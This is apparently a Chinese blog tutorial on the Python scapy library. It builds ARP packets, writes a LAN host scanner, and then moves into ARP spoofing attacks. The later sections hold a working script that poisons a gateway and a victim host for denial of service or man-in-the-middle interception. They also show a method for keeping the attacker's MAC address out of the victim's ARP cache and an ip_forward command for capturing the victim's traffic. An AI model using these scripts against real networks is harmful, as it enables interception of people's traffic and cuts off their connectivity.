scapy主要基于二、三、四层工作,通过自己构造数据包发送。 在kali Linux系统中可以直接输入scapy模块,进行构造数据包。在python中需要先导入scapy模块。下面用的python版本是2.x

1.构造ARP请求并发送

>>> arp = ARP()      //这里把ARP()类实例化成arp
>>> dir(arp)    //查看arp的方法有哪些
[ '_name', '_overload_fields', '_pkt', '_show_or_dump', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_padding', 
.............................
.............................
'underlayer', 'upper_bonds', 'who_has']

>>> arp.show()       //查看arp类的参数有哪些
###[ ARP ]### 
hwtype= 0x1     #以太网,这里用的0x1表示
ptype= 0x800    #  基于ipv4协议的
hwlen= 6
plen= 4
op= who-has      #表示包的作用是响应包还是请求包。可以通过   1(who-has)和    2(is-at)的数字设置。is-at表示响应包
hwsrc= 00:0c:29:ba:f7:45     #源MAC地址
psrc= 10.10.10.11                 #源IP地址
hwdst= 00:00:00:00:00:00    #目的MAC地址
pdst= 0.0.0.0                         #目的IP地址

可以通过与wireshark抓的包进行对比。

————————————————————————————————————————————————————————————————

>>> arp.pdst="10.10.10.12"    #设置接收的主机IP
>>> sr1(arp)      #发送并接收返回的包
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
<ARP  hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:e4:11:67 psrc=10.10.10.12 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>

>>> send(arp)   #只是发送一个arp包
.
Sent 1 packets.

>>> arp.pdst="10.10.10.156"  #这里设置了一个不存在的IP

>>> sr1(arp,timeout=0.1,verbose=0)   
WARNING: Mac address to reach destination not found. Using broadcast.
>>> sr1(arp)
Begin emission:
.............WARNING: Mac address to reach destination not found. Using broadcast.
Finished to send 1 packets.
............................................^C
Received 57 packets, got 0 answers, remaining 1 packets

注:给不存在的主机发送arp请求时,得不到任何回复,并且,如果不设timeout 参数,arp就会一直等待目标主机的答应。verbose 是设置显示的内容,不会显示多余的内容。

直接 >>> srp1(Ether(dst='00:0c:29:ea:ed:6d')/ARP(pdst='10.10.10.10')) Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets <Ether dst=00:0c:29:ba:f7:45 src=00:0c:29:ea:ed:6d type=0x806 |<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:ea:ed:6d psrc=10.10.10.10 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>> ** 注意1:**这里构造包加上了数据包帧头,构造必须满足OSI七层网络模型结构,例如构造一个TCP的数据包: Ether()/IP()/TCP()


总结scapy发送与接收####

只发不收: * *** send()***,在第三层发包,不关心第二层的封装,第二层采用默认值 * ***sendp()***,在第二层发包,需要手动指定第二层的封装

发包且接收回复 * ***sr()***和***sr1()***都是在第三层发包,sr1表示只接受第一个回复 * ***srp()***和***srp1()***都是在第二层发包,srp1表示只接受第一个回复

如果目标主机不通,那么将会一直发包,因此需要加上timeout参数


sr1send 表示在第三层发送,***srp1***与***sendp***表示在第二层发送

2.通过ARP()实现扫描主机

**原理: **发送arp数据包时,只有主机在线的才会有回复,主机不在线会一直一直等待下去。通过这一特点实现主机扫描

root@kal:~/scan# vim arping.py 
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *

def scan(prefix):     
		for i in range(254):
				try:
						ip=prefix+'.'+str(i)
						response=sr1(ARP(pdst=ip),timeout=0.1,verbose=0)  #发送请求包
						if(response):
								print ip
				except KeyboardInterrupt:
						print
						return

def judge():
		if len(sys.argv) != 2:
				print "Example ./arping 192.168.10"     #提示用户输入ip网段格式
				sys.exit()
		else:
				prefix=sys.argv[1]
				return prefix

def main():
		prefix=judge()  #简单的判断输入参数个数。
		scan(prefix)  #扫描局域网内存活主机

if __name__ == "__main__":
		main()

缺点:arp的扫描不能路由,只能扫描同一个IP段的主机。

3.利用ARP发包实现arp断网×××

>>> arp.show()
###[ ARP ]### 
	hwtype= 0x1
	ptype= 0x800
	hwlen= 6
	plen= 4
	op= who-has
	hwsrc= 00:0c:29:ba:f7:45
	psrc= 10.10.10.11
	hwdst= 00:00:00:00:00:00
	pdst= 0.0.0.0

>>> arp.psrc='10.10.10.2'     #设置源ip为网关ip
>>> arp.pdst='10.10.10.12'    #目的IP仍然设置受害者的IP
>>> send(arp)
.
Sent 1 packets.
  1. 通过上面的发送的包含义就是:×××机告诉受害者主机,我是网关,受害机就会相信他说的话。受害者的主机就会将之后的所有信息发送到×××者的主机(假网关),然后通过假的网关发送到外网。如果×××主机没有开启转发功能,这就实现了ARP断网×××。

  2. 但是这样是直接发送arp包,并没有包装Ethernet层,那么就会产生一个小小的瑕疵。×××机会发送发送广播,问那个受害机的ip的MAC地址是多少,这个消息将会有受害机响应arp请求,告知自己的MAC地址,这样就在受害机的arp缓存表中保留了×××机的MAC地址和IP。

  3. 这里截取了发送arp()欺骗后,受害机的arp缓存表:

这样就可以轻松的看到施展×××的主机是哪一台。 ** ??那么如何隐藏呢??**

这里我们就需要包装以太网层,将其目的MAC设置为广播地址,ARP的层的设置和上面一样,代码实现如下: >>>sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='10.10.10.12',psrc='10.10.10.2')) . Sent 1 packets.

我们这会看下受害机的arp缓存表:

这时就没有很明显的留下痕迹,但是如果受害机把10段下的所有网络ping过的话同样能知道施展×××机的主机,这样只是比上面更保险了点。但不是绝对保险。

4. ARP发包实现双向欺骗并截取数据包###

这里我就直接通过一个比较简单python的脚本实现。如果需要实现其他功能可以自己继续完善。 root@kal:~/scan# vim arpsoof.py #!/usr/bin/python #!encoding=utf-8

import sys
from scapy.all import *
import time

def arpsoof(ip1,ip2):
		'''
		这个函数只是为了发送构造的arp请求
		'''
		response = sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=ip1,pdst=ip2))

def double(ip1,ip2):
		'''
		主要是根据两个不同的需求进行调用arpsoof函数
		'''
		print "1. 中间人×××"
		print "2. 断网×××"
		choose = int(raw_input())
		print choose
		if choose == 1:
				while True:
						try:
								arpsoof(ip1,ip2)
								arpsoof(ip2,ip1)
								time.sleep(2)
						except KeyboardInterrupt:
								print
								return
		elif choose == 2:
				while True:
						try:
								arpsoof(ip1,ip2)
								time.sleep(2)
						except KeyboardInterrupt:
								print
								return
		else:
				print "输入错误....\n"
				double(ip1,ip2)

def main():
		'''
		实现输入网关IP和×××者IP的功能模块
		'''
		try:
				ip1 = raw_input('*******请输入网关IP:')
				ip2 = raw_input('*******请输入受×××者IP:')
				double(ip1,ip2)
		except KeyboardInterrupt:
				print "\n"
				print "*******1. 重新输入*******"
				print "*******2. 结束程序*******"
				choice = int(raw_input())
				if choice == 1:
						main()
				elif choice ==2:
						sys.exit
				else:
						print "输入错误,请重新输入...\n"
						main()

if __name__ == "__main__":
		main()

还要手动实现路由转发的功能,命令如下:

root@kal:~/scan# echo 1 > /proc/sys/net/ipv4/ip_forward

然后就可以开启wireshark进行抓包,就可以获取受害机的所有访问请求。